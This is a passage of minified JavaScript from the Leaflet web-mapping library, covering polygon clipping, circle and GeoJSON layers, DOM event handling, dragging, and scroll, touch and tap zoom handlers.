f=this._parts,o=this._map._pathViewport,s=r.LineUtil;for(n=0,t=0;e-1>n;n++)i=s.clipSegment(u[n],u[n+1],o,n),i&&(f[t]=f[t]||[],f[t].push(i[0]),(i[1]!==u[n+1]||n===e-2)&&(f[t].push(i[1]),t++))},_simplifyPoints:function(){for(var t=this._parts,i=r.LineUtil,n=0,u=t.length;u>n;n++)t[n]=i.simplify(t[n],this.options.smoothFactor)},_updatePath:function(){this._map&&(this._clipPoints(),this._simplifyPoints(),r.Path.prototype._updatePath.call(this))}});r.polyline=function(n,t){return new r.Polyline(n,t)};r.PolyUtil={};r.PolyUtil.clipPolygon=function(n,t){for(var e,a,l,o,s,f,u,v=[1,4,2,8],c=r.LineUtil,i=0,h=n.length;h>i;i++)n[i]._code=c._getBitCode(n[i],t);for(l=0;4>l;l++){for(f=v[l],e=[],i=0,h=n.length,a=h-1;h>i;a=i++)o=n[i],s=n[a],o._code&f?s._code&f||(u=c._getEdgeIntersection(s,o,f,t),u._code=c._getBitCode(u,t),e.push(u)):(s._code&f&&(u=c._getEdgeIntersection(s,o,f,t),u._code=c._getBitCode(u,t),e.push(u)),e.push(o));n=e}return n};r.Polygon=r.Polyline.extend({options:{fill:!0},initialize:function(n,t){r.Polyline.prototype.initialize.call(this,n,t);this._initWithHoles(n)},_initWithHoles:function(n){var t,u,i;if(n&&r.Util.isArray(n[0])&&"number"!=typeof n[0][0])for(this._latlngs=this._convertLatLngs(n[0]),this._holes=n.slice(1),t=0,u=this._holes.length;u>t;t++)i=this._holes[t]=this._convertLatLngs(this._holes[t]),i[0].equals(i[i.length-1])&&i.pop();n=this._latlngs;n.length>=2&&n[0].equals(n[n.length-1])&&n.pop()},projectLatlngs:function(){if(r.Polyline.prototype.projectLatlngs.call(this),this._holePoints=[],this._holes)for(var t,u,n=0,i=this._holes.length;i>n;n++)for(this._holePoints[n]=[],t=0,u=this._holes[n].length;u>t;t++)this._holePoints[n][t]=this._map.latLngToLayerPoint(this._holes[n][t])},setLatLngs:function(n){return n&&r.Util.isArray(n[0])&&"number"!=typeof n[0][0]?(this._initWithHoles(n),this.redraw()):r.Polyline.prototype.setLatLngs.call(this,n)},_clipPoints:function(){var f=this._originalPoints,i=[],n,u,t;if(this._parts=[f].concat(this._holePoints),!this.options.noClip){for(n=0,u=this._parts.length;u>n;n++)t=r.PolyUtil.clipPolygon(this._parts[n],this._map._pathViewport),t.length&&i.push(t);this._parts=i}},_getPathPartStr:function(n){var t=r.Polyline.prototype._getPathPartStr.call(this,n);return t+(r.Browser.svg?"z":"x")}});r.polygon=function(n,t){return new r.Polygon(n,t)},function(){function n(n){return r.FeatureGroup.extend({initialize:function(n,t){this._layers={};this._options=t;this.setLatLngs(n)},setLatLngs:function(t){var i=0,r=t.length;for(this.eachLayer(function(n){r>i?n.setLatLngs(t[i++]):this.removeLayer(n)},this);r>i;)this.addLayer(new n(t[i++],this._options));return this},getLatLngs:function(){var n=[];return this.eachLayer(function(t){n.push(t.getLatLngs())}),n}})}r.MultiPolyline=n(r.Polyline);r.MultiPolygon=n(r.Polygon);r.multiPolyline=function(n,t){return new r.MultiPolyline(n,t)};r.multiPolygon=function(n,t){return new r.MultiPolygon(n,t)}}();r.Rectangle=r.Polygon.extend({initialize:function(n,t){r.Polygon.prototype.initialize.call(this,this._boundsToLatLngs(n),t)},setBounds:function(n){this.setLatLngs(this._boundsToLatLngs(n))},_boundsToLatLngs:function(n){return n=r.latLngBounds(n),[n.getSouthWest(),n.getNorthWest(),n.getNorthEast(),n.getSouthEast()]}});r.rectangle=function(n,t){return new r.Rectangle(n,t)};r.Circle=r.Path.extend({initialize:function(n,t,i){r.Path.prototype.initialize.call(this,i);this._latlng=r.latLng(n);this._mRadius=t},options:{fill:!0},setLatLng:function(n){return this._latlng=r.latLng(n),this.redraw()},setRadius:function(n){return this._mRadius=n,this.redraw()},projectLatlngs:function(){var t=this._getLngRadius(),n=this._latlng,i=this._map.latLngToLayerPoint([n.lat,n.lng-t]);this._point=this._map.latLngToLayerPoint(n);this._radius=Math.max(this._point.x-i.x,1)},getBounds:function(){var t=this._getLngRadius(),i=this._mRadius/40075017*360,n=this._latlng;return new r.LatLngBounds([n.lat-i,n.lng-t],[n.lat+i,n.lng+t])},getLatLng:function(){return this._latlng},getPathString:function(){var t=this._point,n=this._radius;return this._checkIfEmpty()?"":r.Browser.svg?"M"+t.x+","+(t.y-n)+"A"+n+","+n+",0,1,1,"+(t.x-.1)+","+(t.y-n)+" z":(t._round(),n=Math.round(n),"AL "+t.x+","+t.y+" "+n+","+n+" 0,23592600")},getRadius:function(){return this._mRadius},_getLatRadius:function(){return this._mRadius/40075017*360},_getLngRadius:function(){return this._getLatRadius()/Math.cos(r.LatLng.DEG_TO_RAD*this._latlng.lat)},_checkIfEmpty:function(){if(!this._map)return!1;var n=this._map._pathViewport,t=this._radius,i=this._point;return i.x-t>n.max.x||i.y-t>n.max.y||i.x+t<n.min.x||i.y+t<n.min.y}});r.circle=function(n,t,i){return new r.Circle(n,t,i)};r.CircleMarker=r.Circle.extend({options:{radius:10,weight:2},initialize:function(n,t){r.Circle.prototype.initialize.call(this,n,null,t);this._radius=this.options.radius},projectLatlngs:function(){this._point=this._map.latLngToLayerPoint(this._latlng)},_updateStyle:function(){r.Circle.prototype._updateStyle.call(this);this.setRadius(this.options.radius)},setLatLng:function(n){return r.Circle.prototype.setLatLng.call(this,n),this._popup&&this._popup._isOpen&&this._popup.setLatLng(n),this},setRadius:function(n){return this.options.radius=this._radius=n,this.redraw()},getRadius:function(){return this._radius}});r.circleMarker=function(n,t){return new r.CircleMarker(n,t)};r.Polyline.include(r.Path.CANVAS?{_containsPoint:function(n,t){var u,i,e,s,o,h,f,c=this.options.weight/2;for(r.Browser.touch&&(c+=10),u=0,s=this._parts.length;s>u;u++)for(f=this._parts[u],i=0,o=f.length,e=o-1;o>i;e=i++)if((t||0!==i)&&(h=r.LineUtil.pointToSegmentDistance(n,f[e],f[i]),c>=h))return!0;return!1}}:{});r.Polygon.include(r.Path.CANVAS?{_containsPoint:function(n){var i,t,u,f,e,o,c,s,h=!1;if(r.Polyline.prototype._containsPoint.call(this,n,!0))return!0;for(f=0,c=this._parts.length;c>f;f++)for(i=this._parts[f],e=0,s=i.length,o=s-1;s>e;o=e++)t=i[e],u=i[o],t.y>n.y!=u.y>n.y&&n.x<(u.x-t.x)*(n.y-t.y)/(u.y-t.y)+t.x&&(h=!h);return h}}:{});r.Circle.include(r.Path.CANVAS?{_drawPath:function(){var n=this._point;this._ctx.beginPath();this._ctx.arc(n.x,n.y,this._radius,0,2*Math.PI,!1)},_containsPoint:function(n){var t=this._point,i=this.options.stroke?this.options.weight/2:0;return n.distanceTo(t)<=this._radius+i}}:{});r.CircleMarker.include(r.Path.CANVAS?{_updateStyle:function(){r.Path.prototype._updateStyle.call(this)}}:{});r.GeoJSON=r.FeatureGroup.extend({initialize:function(n,t){r.setOptions(this,t);this._layers={};n&&this.addData(n)},addData:function(n){var u,o,f,e=r.Util.isArray(n)?n:n.features,t,i;if(e){for(u=0,o=e.length;o>u;u++)f=e[u],(f.geometries||f.geometry||f.features||f.coordinates)&&this.addData(e[u]);return this}return t=this.options,!t.filter||t.filter(n)?(i=r.GeoJSON.geometryToLayer(n,t.pointToLayer,t.coordsToLatLng,t),i.feature=r.GeoJSON.asFeature(n),i.defaultOptions=i.options,this.resetStyle(i),t.onEachFeature&&t.onEachFeature(n,i),this.addLayer(i)):void 0},resetStyle:function(n){var t=this.options.style;t&&(r.Util.extend(n.options,n.defaultOptions),this._setLayerStyle(n,t))},setStyle:function(n){this.eachLayer(function(t){this._setLayerStyle(t,n)},this)},_setLayerStyle:function(n,t){"function"==typeof t&&(t=t(n.feature));n.setStyle&&n.setStyle(t)}});r.extend(r.GeoJSON,{geometryToLayer:function(n,t,i,u){var s,e,o,h,c="Feature"===n.type?n.geometry:n,f=c.coordinates,l=[];switch(i=i||this.coordsToLatLng,c.type){case"Point":return s=i(f),t?t(n,s):new r.Marker(s);case"MultiPoint":for(o=0,h=f.length;h>o;o++)s=i(f[o]),l.push(t?t(n,s):new r.Marker(s));return new r.FeatureGroup(l);case"LineString":return e=this.coordsToLatLngs(f,0,i),new r.Polyline(e,u);case"Polygon":if(2===f.length&&!f[1].length)throw new Error("Invalid GeoJSON object.");return e=this.coordsToLatLngs(f,1,i),new r.Polygon(e,u);case"MultiLineString":return e=this.coordsToLatLngs(f,1,i),new r.MultiPolyline(e,u);case"MultiPolygon":return e=this.coordsToLatLngs(f,2,i),new r.MultiPolygon(e,u);case"GeometryCollection":for(o=0,h=c.geometries.length;h>o;o++)l.push(this.geometryToLayer({geometry:c.geometries[o],type:"Feature",properties:n.properties},t,i,u));return new r.FeatureGroup(l);default:throw new Error("Invalid GeoJSON object.");}},coordsToLatLng:function(n){return new r.LatLng(n[1],n[0],n[2])},coordsToLatLngs:function(n,t,i){for(var u,e=[],r=0,f=n.length;f>r;r++)u=t?this.coordsToLatLngs(n[r],t-1,i):(i||this.coordsToLatLng)(n[r]),e.push(u);return e},latLngToCoords:function(n){var t=[n.lng,n.lat];return n.alt!==i&&t.push(n.alt),t},latLngsToCoords:function(n){for(var i=[],t=0,u=n.length;u>t;t++)i.push(r.GeoJSON.latLngToCoords(n[t]));return i},getFeature:function(n,t){return n.feature?r.extend({},n.feature,{geometry:t}):r.GeoJSON.asFeature(t)},asFeature:function(n){return"Feature"===n.type?n:{type:"Feature",properties:{},geometry:n}}});f={toGeoJSON:function(){return r.GeoJSON.getFeature(this,{type:"Point",coordinates:r.GeoJSON.latLngToCoords(this.getLatLng())})}};r.Marker.include(f);r.Circle.include(f);r.CircleMarker.include(f);r.Polyline.include({toGeoJSON:function(){return r.GeoJSON.getFeature(this,{type:"LineString",coordinates:r.GeoJSON.latLngsToCoords(this.getLatLngs())})}});r.Polygon.include({toGeoJSON:function(){var n,u,t,i=[r.GeoJSON.latLngsToCoords(this.getLatLngs())];if(i[0].push(i[0][0]),this._holes)for(n=0,u=this._holes.length;u>n;n++)t=r.GeoJSON.latLngsToCoords(this._holes[n]),t.push(t[0]),i.push(t);return r.GeoJSON.getFeature(this,{type:"Polygon",coordinates:i})}}),function(){function n(n){return function(){var t=[];return this.eachLayer(function(n){t.push(n.toGeoJSON().geometry.coordinates)}),r.GeoJSON.getFeature(this,{type:n,coordinates:t})}}r.MultiPolyline.include({toGeoJSON:n("MultiLineString")});r.MultiPolygon.include({toGeoJSON:n("MultiPolygon")});r.LayerGroup.include({toGeoJSON:function(){var i,t=this.feature&&this.feature.geometry,u=[],f;return t&&"MultiPoint"===t.type?n("MultiPoint").call(this):(f=t&&"GeometryCollection"===t.type,this.eachLayer(function(n){n.toGeoJSON&&(i=n.toGeoJSON(),u.push(f?i.geometry:r.GeoJSON.asFeature(i)))}),f?r.GeoJSON.getFeature(this,{geometries:u,type:"GeometryCollection"}):{type:"FeatureCollection",features:u})}})}();r.geoJson=function(n,t){return new r.GeoJSON(n,t)};r.DomEvent={addListener:function(n,t,i,u){var f,e,s,o=r.stamp(i),h="_leaflet_"+t+o;return n[h]?this:(f=function(t){return i.call(u||n,t||r.DomEvent._getEvent())},r.Browser.pointer&&0===t.indexOf("touch")?this.addPointerListener(n,t,f,o):(r.Browser.touch&&"dblclick"===t&&this.addDoubleTapListener&&this.addDoubleTapListener(n,f,o),"addEventListener"in n?"mousewheel"===t?(n.addEventListener("DOMMouseScroll",f,!1),n.addEventListener(t,f,!1)):"mouseenter"===t||"mouseleave"===t?(e=f,s="mouseenter"===t?"mouseover":"mouseout",f=function(t){if(r.DomEvent._checkMouse(n,t))return e(t)},n.addEventListener(s,f,!1)):"click"===t&&r.Browser.android?(e=f,f=function(n){return r.DomEvent._filterClick(n,e)},n.addEventListener(t,f,!1)):n.addEventListener(t,f,!1):"attachEvent"in n&&n.attachEvent("on"+t,f),n[h]=f,this))},removeListener:function(n,t,i){var f=r.stamp(i),e="_leaflet_"+t+f,u=n[e];return u?(r.Browser.pointer&&0===t.indexOf("touch")?this.removePointerListener(n,t,f):r.Browser.touch&&"dblclick"===t&&this.removeDoubleTapListener?this.removeDoubleTapListener(n,f):"removeEventListener"in n?"mousewheel"===t?(n.removeEventListener("DOMMouseScroll",u,!1),n.removeEventListener(t,u,!1)):"mouseenter"===t||"mouseleave"===t?n.removeEventListener("mouseenter"===t?"mouseover":"mouseout",u,!1):n.removeEventListener(t,u,!1):"detachEvent"in n&&n.detachEvent("on"+t,u),n[e]=null,this):this},stopPropagation:function(n){return n.stopPropagation?n.stopPropagation():n.cancelBubble=!0,r.DomEvent._skipped(n),this},disableScrollPropagation:function(n){var t=r.DomEvent.stopPropagation;return r.DomEvent.on(n,"mousewheel",t).on(n,"MozMousePixelScroll",t)},disableClickPropagation:function(n){for(var i=r.DomEvent.stopPropagation,t=r.Draggable.START.length-1;t>=0;t--)r.DomEvent.on(n,r.Draggable.START[t],i);return r.DomEvent.on(n,"click",r.DomEvent._fakeStop).on(n,"dblclick",i)},preventDefault:function(n){return n.preventDefault?n.preventDefault():n.returnValue=!1,this},stop:function(n){return r.DomEvent.preventDefault(n).stopPropagation(n)},getMousePosition:function(n,t){if(!t)return new r.Point(n.clientX,n.clientY);var i=t.getBoundingClientRect();return new r.Point(n.clientX-i.left-t.clientLeft,n.clientY-i.top-t.clientTop)},getWheelDelta:function(n){var t=0;return n.wheelDelta&&(t=n.wheelDelta/120),n.detail&&(t=-n.detail/3),t},_skipEvents:{},_fakeStop:function(n){r.DomEvent._skipEvents[n.type]=!0},_skipped:function(n){var t=this._skipEvents[n.type];return this._skipEvents[n.type]=!1,t},_checkMouse:function(n,t){var i=t.relatedTarget;if(!i)return!0;try{for(;i&&i!==n;)i=i.parentNode}catch(r){return!1}return i!==n},_getEvent:function(){var t=n.event,i;if(!t)for(i=arguments.callee.caller;i&&(t=i.arguments[0],!t||n.Event!==t.constructor);)i=i.caller;return t},_filterClick:function(n,t){var u=n.timeStamp||n.originalEvent.timeStamp,i=r.DomEvent._lastClick&&u-r.DomEvent._lastClick;return i&&i>100&&500>i||n.target._simulatedClick&&!n._simulated?void r.DomEvent.stop(n):(r.DomEvent._lastClick=u,t(n))}};r.DomEvent.on=r.DomEvent.addListener;r.DomEvent.off=r.DomEvent.removeListener;r.Draggable=r.Class.extend({includes:r.Mixin.Events,statics:{START:r.Browser.touch?["touchstart","mousedown"]:["mousedown"],END:{mousedown:"mouseup",touchstart:"touchend",pointerdown:"touchend",MSPointerDown:"touchend"},MOVE:{mousedown:"mousemove",touchstart:"touchmove",pointerdown:"touchmove",MSPointerDown:"touchmove"}},initialize:function(n,t){this._element=n;this._dragStartTarget=t||n},enable:function(){if(!this._enabled){for(var n=r.Draggable.START.length-1;n>=0;n--)r.DomEvent.on(this._dragStartTarget,r.Draggable.START[n],this._onDown,this);this._enabled=!0}},disable:function(){if(this._enabled){for(var n=r.Draggable.START.length-1;n>=0;n--)r.DomEvent.off(this._dragStartTarget,r.Draggable.START[n],this._onDown,this);this._enabled=!1;this._moved=!1}},_onDown:function(n){if(this._moved=!1,!n.shiftKey&&(1===n.which||1===n.button||n.touches)&&(r.DomEvent.stopPropagation(n),!r.Draggable._disabled&&(r.DomUtil.disableImageDrag(),r.DomUtil.disableTextSelection(),!this._moving))){var i=n.touches?n.touches[0]:n;this._startPoint=new r.Point(i.clientX,i.clientY);this._startPos=this._newPos=r.DomUtil.getPosition(this._element);r.DomEvent.on(t,r.Draggable.MOVE[n.type],this._onMove,this).on(t,r.Draggable.END[n.type],this._onUp,this)}},_onMove:function(n){if(n.touches&&n.touches.length>1)return void(this._moved=!0);var u=n.touches&&1===n.touches.length?n.touches[0]:n,f=new r.Point(u.clientX,u.clientY),i=f.subtract(this._startPoint);(i.x||i.y)&&(r.Browser.touch&&Math.abs(i.x)+Math.abs(i.y)<3||(r.DomEvent.preventDefault(n),this._moved||(this.fire("dragstart"),this._moved=!0,this._startPos=r.DomUtil.getPosition(this._element).subtract(i),r.DomUtil.addClass(t.body,"leaflet-dragging"),this._lastTarget=n.target||n.srcElement,r.DomUtil.addClass(this._lastTarget,"leaflet-drag-target")),this._newPos=this._startPos.add(i),this._moving=!0,r.Util.cancelAnimFrame(this._animRequest),this._animRequest=r.Util.requestAnimFrame(this._updatePosition,this,!0,this._dragStartTarget)))},_updatePosition:function(){this.fire("predrag");r.DomUtil.setPosition(this._element,this._newPos);this.fire("drag")},_onUp:function(){r.DomUtil.removeClass(t.body,"leaflet-dragging");this._lastTarget&&(r.DomUtil.removeClass(this._lastTarget,"leaflet-drag-target"),this._lastTarget=null);for(var n in r.Draggable.MOVE)r.DomEvent.off(t,r.Draggable.MOVE[n],this._onMove).off(t,r.Draggable.END[n],this._onUp);r.DomUtil.enableImageDrag();r.DomUtil.enableTextSelection();this._moved&&this._moving&&(r.Util.cancelAnimFrame(this._animRequest),this.fire("dragend",{distance:this._newPos.distanceTo(this._startPos)}));this._moving=!1}});r.Handler=r.Class.extend({initialize:function(n){this._map=n},enable:function(){this._enabled||(this._enabled=!0,this.addHooks())},disable:function(){this._enabled&&(this._enabled=!1,this.removeHooks())},enabled:function(){return!!this._enabled}});r.Map.mergeOptions({dragging:!0,inertia:!r.Browser.android23,inertiaDeceleration:3400,inertiaMaxSpeed:1/0,inertiaThreshold:r.Browser.touch?32:18,easeLinearity:.25,worldCopyJump:!1});r.Map.Drag=r.Handler.extend({addHooks:function(){if(!this._draggable){var n=this._map;this._draggable=new r.Draggable(n._mapPane,n._container);this._draggable.on({dragstart:this._onDragStart,drag:this._onDrag,dragend:this._onDragEnd},this);n.options.worldCopyJump&&(this._draggable.on("predrag",this._onPreDrag,this),n.on("viewreset",this._onViewReset,this),n.whenReady(this._onViewReset,this))}this._draggable.enable()},removeHooks:function(){this._draggable.disable()},moved:function(){return this._draggable&&this._draggable._moved},_onDragStart:function(){var n=this._map;n._panAnim&&n._panAnim.stop();n.fire("movestart").fire("dragstart");n.options.inertia&&(this._positions=[],this._times=[])},_onDrag:function(){if(this._map.options.inertia){var n=this._lastTime=+new Date,t=this._lastPos=this._draggable._newPos;this._positions.push(t);this._times.push(n);n-this._times[0]>200&&(this._positions.shift(),this._times.shift())}this._map.fire("move").fire("drag")},_onViewReset:function(){var n=this._map.getSize()._divideBy(2),t=this._map.latLngToLayerPoint([0,0]);this._initialWorldOffset=t.subtract(n).x;this._worldWidth=this._map.project([0,180]).x},_onPreDrag:function(){var i=this._worldWidth,t=Math.round(i/2),n=this._initialWorldOffset,r=this._draggable._newPos.x,u=(r-t+n)%i+t-n,f=(r+t+n)%i-t-n,e=Math.abs(u+n)<Math.abs(f+n)?u:f;this._draggable._newPos.x=e},_onDragEnd:function(n){var t=this._map,i=t.options,e=+new Date-this._lastTime,l=!i.inertia||e>i.inertiaThreshold||!this._positions[0];if(t.fire("dragend",n),l)t.fire("moveend");else{var a=this._lastPos.subtract(this._positions[0]),v=(this._lastTime+e-this._times[0])/1e3,f=i.easeLinearity,o=a.multiplyBy(f/v),s=o.distanceTo([0,0]),h=Math.min(i.inertiaMaxSpeed,s),y=o.multiplyBy(h/s),c=h/(i.inertiaDeceleration*f),u=y.multiplyBy(-c/2).round();u.x&&u.y?(u=t._limitOffset(u,t.options.maxBounds),r.Util.requestAnimFrame(function(){t.panBy(u,{duration:c,easeLinearity:f,noMoveStart:!0})})):t.fire("moveend")}}});r.Map.addInitHook("addHandler","dragging",r.Map.Drag);r.Map.mergeOptions({doubleClickZoom:!0});r.Map.DoubleClickZoom=r.Handler.extend({addHooks:function(){this._map.on("dblclick",this._onDoubleClick,this)},removeHooks:function(){this._map.off("dblclick",this._onDoubleClick,this)},_onDoubleClick:function(n){var t=this._map,i=t.getZoom()+(n.originalEvent.shiftKey?-1:1);"center"===t.options.doubleClickZoom?t.setZoom(i):t.setZoomAround(n.containerPoint,i)}});r.Map.addInitHook("addHandler","doubleClickZoom",r.Map.DoubleClickZoom);r.Map.mergeOptions({scrollWheelZoom:!0});r.Map.ScrollWheelZoom=r.Handler.extend({addHooks:function(){r.DomEvent.on(this._map._container,"mousewheel",this._onWheelScroll,this);r.DomEvent.on(this._map._container,"MozMousePixelScroll",r.DomEvent.preventDefault);this._delta=0},removeHooks:function(){r.DomEvent.off(this._map._container,"mousewheel",this._onWheelScroll);r.DomEvent.off(this._map._container,"MozMousePixelScroll",r.DomEvent.preventDefault)},_onWheelScroll:function(n){var i=r.DomEvent.getWheelDelta(n),t;this._delta+=i;this._lastMousePos=this._map.mouseEventToContainerPoint(n);this._startTime||(this._startTime=+new Date);t=Math.max(40-(+new Date-this._startTime),0);clearTimeout(this._timer);this._timer=setTimeout(r.bind(this._performZoom,this),t);r.DomEvent.preventDefault(n);r.DomEvent.stopPropagation(n)},_performZoom:function(){var t=this._map,n=this._delta,i=t.getZoom();n=n>0?Math.ceil(n):Math.floor(n);n=Math.max(Math.min(n,4),-4);n=t._limitZoom(i+n)-i;this._delta=0;this._startTime=null;n&&("center"===t.options.scrollWheelZoom?t.setZoom(i+n):t.setZoomAround(this._lastMousePos,i+n))}});r.Map.addInitHook("addHandler","scrollWheelZoom",r.Map.ScrollWheelZoom);r.extend(r.DomEvent,{_touchstart:r.Browser.msPointer?"MSPointerDown":r.Browser.pointer?"pointerdown":"touchstart",_touchend:r.Browser.msPointer?"MSPointerUp":r.Browser.pointer?"pointerup":"touchend",addDoubleTapListener:function(n,i,u){function c(n){var i,t,u;(r.Browser.pointer?(e.push(n.pointerId),i=e.length):i=n.touches.length,i>1)||(t=Date.now(),u=t-(s||t),f=n.touches?n.touches[0]:n,l=u>0&&p>=u,s=t)}function o(n){var u,t,o,h;if(r.Browser.pointer){if(u=e.indexOf(n.pointerId),-1===u)return;e.splice(u,1)}if(l){if(r.Browser.pointer){o={};for(h in f)t=f[h],o[h]="function"==typeof t?t.bind(f):t;f=o}f.type="dblclick";i(f);s=null}}var s,f,l=!1,p=250,a="_leaflet_",v=this._touchstart,y=this._touchend,e=[],h;return n[a+v+u]=c,n[a+y+u]=o,h=r.Browser.pointer?t.documentElement:n,n.addEventListener(v,c,!1),h.addEventListener(y,o,!1),r.Browser.pointer&&h.addEventListener(r.DomEvent.POINTER_CANCEL,o,!1),this},removeDoubleTapListener:function(n,i){var u="_leaflet_";return n.removeEventListener(this._touchstart,n[u+this._touchstart+i],!1),(r.Browser.pointer?t.documentElement:n).removeEventListener(this._touchend,n[u+this._touchend+i],!1),r.Browser.pointer&&t.documentElement.removeEventListener(r.DomEvent.POINTER_CANCEL,n[u+this._touchend+i],!1),this}});r.extend(r.DomEvent,{POINTER_DOWN:r.Browser.msPointer?"MSPointerDown":"pointerdown",POINTER_MOVE:r.Browser.msPointer?"MSPointerMove":"pointermove",POINTER_UP:r.Browser.msPointer?"MSPointerUp":"pointerup",POINTER_CANCEL:r.Browser.msPointer?"MSPointerCancel":"pointercancel",_pointers:[],_pointerDocumentListener:!1,addPointerListener:function(n,t,i,r){switch(t){case"touchstart":return this.addPointerListenerStart(n,t,i,r);case"touchend":return this.addPointerListenerEnd(n,t,i,r);case"touchmove":return this.addPointerListenerMove(n,t,i,r);default:throw"Unknown touch event type";}},addPointerListenerStart:function(n,i,u,f){var e=this._pointers,s=function(n){"mouse"!==n.pointerType&&n.pointerType!==n.MSPOINTER_TYPE_MOUSE&&r.DomEvent.preventDefault(n);for(var i=!1,t=0;t<e.length;t++)if(e[t].pointerId===n.pointerId){i=!0;break}i||e.push(n);n.touches=e.slice();n.changedTouches=[n];u(n)},o;return(n["_leaflet_touchstart"+f]=s,n.addEventListener(this.POINTER_DOWN,s,!1),this._pointerDocumentListener)||(o=function(n){for(var t=0;t<e.length;t++)if(e[t].pointerId===n.pointerId){e.splice(t,1);break}},t.documentElement.addEventListener(this.POINTER_UP,o,!1),t.documentElement.addEventListener(this.POINTER_CANCEL,o,!1),this._pointerDocumentListener=!0),this},addPointerListenerMove:function(n,t,i,r){function f(n){if(n.pointerType!==n.MSPOINTER_TYPE_MOUSE&&"mouse"!==n.pointerType||0!==n.buttons){for(var t=0;t<u.length;t++)if(u[t].pointerId===n.pointerId){u[t]=n;break}n.touches=u.slice();n.changedTouches=[n];i(n)}}var u=this._pointers;return n["_leaflet_touchmove"+r]=f,n.addEventListener(this.POINTER_MOVE,f,!1),this},addPointerListenerEnd:function(n,t,i,r){var u=this._pointers,f=function(n){for(var t=0;t<u.length;t++)if(u[t].pointerId===n.pointerId){u.splice(t,1);break}n.touches=u.slice();n.changedTouches=[n];i(n)};return n["_leaflet_touchend"+r]=f,n.addEventListener(this.POINTER_UP,f,!1),n.addEventListener(this.POINTER_CANCEL,f,!1),this},removePointerListener:function(n,t,i){var r=n["_leaflet_"+t+i];switch(t){case"touchstart":n.removeEventListener(this.POINTER_DOWN,r,!1);break;case"touchmove":n.removeEventListener(this.POINTER_MOVE,r,!1);break;case"touchend":n.removeEventListener(this.POINTER_UP,r,!1);n.removeEventListener(this.POINTER_CANCEL,r,!1)}return this}});r.Map.mergeOptions({touchZoom:r.Browser.touch&&!r.Browser.android23,bounceAtZoomLimits:!0});r.Map.TouchZoom=r.Handler.extend({addHooks:function(){r.DomEvent.on(this._map._container,"touchstart",this._onTouchStart,this)},removeHooks:function(){r.DomEvent.off(this._map._container,"touchstart",this._onTouchStart,this)},_onTouchStart:function(n){var i=this._map;if(n.touches&&2===n.touches.length&&!i._animatingZoom&&!this._zooming){var u=i.mouseEventToLayerPoint(n.touches[0]),f=i.mouseEventToLayerPoint(n.touches[1]),e=i._getCenterLayerPoint();this._startCenter=u.add(f)._divideBy(2);this._startDist=u.distanceTo(f);this._moved=!1;this._zooming=!0;this._centerOffset=e.subtract(this._startCenter);i._panAnim&&i._panAnim.stop();r.DomEvent.on(t,"touchmove",this._onTouchMove,this).on(t,"touchend",this._onTouchEnd,this);r.DomEvent.preventDefault(n)}},_onTouchMove:function(n){var t=this._map,i,u;n.touches&&2===n.touches.length&&this._zooming&&(i=t.mouseEventToLayerPoint(n.touches[0]),u=t.mouseEventToLayerPoint(n.touches[1]),this._scale=i.distanceTo(u)/this._startDist,this._delta=i._add(u)._divideBy(2)._subtract(this._startCenter),1!==this._scale&&(t.options.bounceAtZoomLimits||!(t.getZoom()===t.getMinZoom()&&this._scale<1||t.getZoom()===t.getMaxZoom()&&this._scale>1))&&(this._moved||(r.DomUtil.addClass(t._mapPane,"leaflet-touching"),t.fire("movestart").fire("zoomstart"),this._moved=!0),r.Util.cancelAnimFrame(this._animRequest),this._animRequest=r.Util.requestAnimFrame(this._updateOnMove,this,!0,this._map._container),r.DomEvent.preventDefault(n)))},_updateOnMove:function(){var n=this._map,t=this._getScaleOrigin(),i=n.layerPointToLatLng(t),r=n.getScaleZoom(this._scale);n._animateZoom(i,r,this._startCenter,this._scale,this._delta,!1,!0)},_onTouchEnd:function(){var n;if(!this._moved||!this._zooming)return void(this._zooming=!1);n=this._map;this._zooming=!1;r.DomUtil.removeClass(n._mapPane,"leaflet-touching");r.Util.cancelAnimFrame(this._animRequest);r.DomEvent.off(t,"touchmove",this._onTouchMove).off(t,"touchend",this._onTouchEnd);var u=this._getScaleOrigin(),o=n.layerPointToLatLng(u),f=n.getZoom(),i=n.getScaleZoom(this._scale)-f,s=i>0?Math.ceil(i):Math.floor(i),e=n._limitZoom(f+s),h=n.getZoomScale(e)/this._scale;n._animateZoom(o,e,u,h)},_getScaleOrigin:function(){var n=this._centerOffset.subtract(this._delta).divideBy(this._scale);return this._startCenter.add(n)}});r.Map.addInitHook("addHandler","touchZoom",r.Map.TouchZoom);r.Map.mergeOptions({tap:!0,tapTolerance:15});r.Map.Tap=r.Handler.extend({addHooks:function(){r.DomEvent.on(this._map._container,"touchstart",this._onDown,this)},removeHooks:function(){r.DomEvent.off(this._map._container,"touchstart",this._onDown,this)},_onDown:function(n){if(n.touches){if(r.DomEvent.preventDefault(n),this._fireClick=!0,n.touches.length>1)return this._fireClick=!1,void clearTimeout(this._holdTimeout);var i=n.touches[0],u=i.target;this._startPos=this._newPos=new r.Point(i.clientX,i.clientY);u.tagName&&"a"===u.tagName.toLowerCase()&&r.DomUtil.addClass(u,"leaflet-active");this._holdTimeout=setTimeout(r.bind(function(){this._isTapValid()&&(this._fireClick=!1,this._onUp(),this._simulateEvent("contextmenu",i))},this),1e3);r.DomEvent.on(t,"touchmove",this._onMove,this).on(t,"touchend",this._onUp,this)}},_onUp:function(n){if(clearTimeout(this._holdTimeout),r.DomEvent.off(t,"touchmove",this._onMove,this).off(t,"touchend",this._onUp,this),this._fireClick&&n&&n.changedTouches){var u=n.changedTouches[0],i=u.target;i&&i.tagName&&"a"===i.tagName.toLowerCase()&&r.DomUtil.removeClass(i,"leaflet-active");this._isTapValid()&&this._simulateEvent("click",u)}},_isTapValid:function(){return this._newPos.distanceTo(this._startPos)<=this._map.options.tapTolerance},_onMove:function(n){var t=n.touches[0];this._newPos=new r.Point(t.clientX,t.clientY)},_simulateEvent:function(i,r){var u=t.createEvent("MouseEvents");u._simulated=!0;r.target._simulatedClick=!0;u.initMouseEvent(i,!0,!0,n,1,r.screenX,r.screenY,r.clientX,r.clientY,!1,!1,!1,!1,0,null);r.target.dispatchEvent(u)}});r.Browser.touch&&!r.Browser.pointer&&r.Map.addInitHook("addHandler","tap",r.Map.Tap);r.Map.mergeOptions({boxZoom:!0});r.Map.BoxZoom=r.Handler.extend({initialize:function(n){this._map=n;this._container=n._container;this._pane=n._panes.overlayPane;this._moved=!1},addHooks:function(){r.DomEvent.on(this._container,"mousedown",this._onMouseDown,this)},removeHooks:function(){r.DomEvent.off(this._container,"mousedown",this._onMouseDown);this._moved=!1},moved:function(){return this._moved},_onMouseDown:function(n){return 